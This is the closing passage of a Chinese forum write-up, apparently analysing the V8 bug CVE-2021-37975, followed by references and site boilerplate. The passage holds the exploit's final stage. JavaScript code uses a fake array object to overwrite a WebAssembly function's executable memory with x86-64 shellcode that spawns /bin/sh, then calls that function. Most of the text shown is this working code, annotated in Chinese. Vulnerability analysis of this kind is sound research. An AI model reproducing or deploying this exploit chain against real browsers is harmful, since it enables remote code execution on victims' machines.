console.log("shellArray addr: 0x" + shellAddr.toString(16));
// shellAddr + 0x20,数组指针地址,此时fakeArray假对象指针指向数组指针地址所在的内存
obj[1] = i32tof(shellAddr + 0x20, 10);
// 通过假对象修改shellArray 数组指向的地方,指向了rwxAddr,读写shellArray,就是读写rwxAddr开始的一块内存。而rwxAddr就是instance.exports.main函数入口
fakeArray[0] = rwxAddr;
var shellCode = [0x31, 0xf6, 0x31, 0xd2, 0x31, 0xc0, 0x48, 0xbb, 0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x2f, 0x73, 0x68, 0x56, 0x53, 0x54, 0x5f, 0xb8, 0x3b, 0, 0, 0, 0xf, 0x5];
for (let i = 0; i < shellCode.length; i++) {
  // 往rwxAddr地方写入shellcode
  shellArray[i] = shellCode[i];
}
// 调用instance.exports.main,已经被修改为shellcode
wasmMain();

参考

Chrome in-the-wild bug analysis: CVE-2021-37975
Concurrent marking in V8

加群讨论V8漏洞


阿里云助力开发者!2核2G 3M带宽不限流量!6.18限时价,开 发者可享99元/年,续费同价!

最后于 2024-5-8 18:46 被coolboyme编辑 ,原因:
收藏
点赞0
打赏
分享
最新回复 (0)
游客
登录 | 注册 方可回帖
返回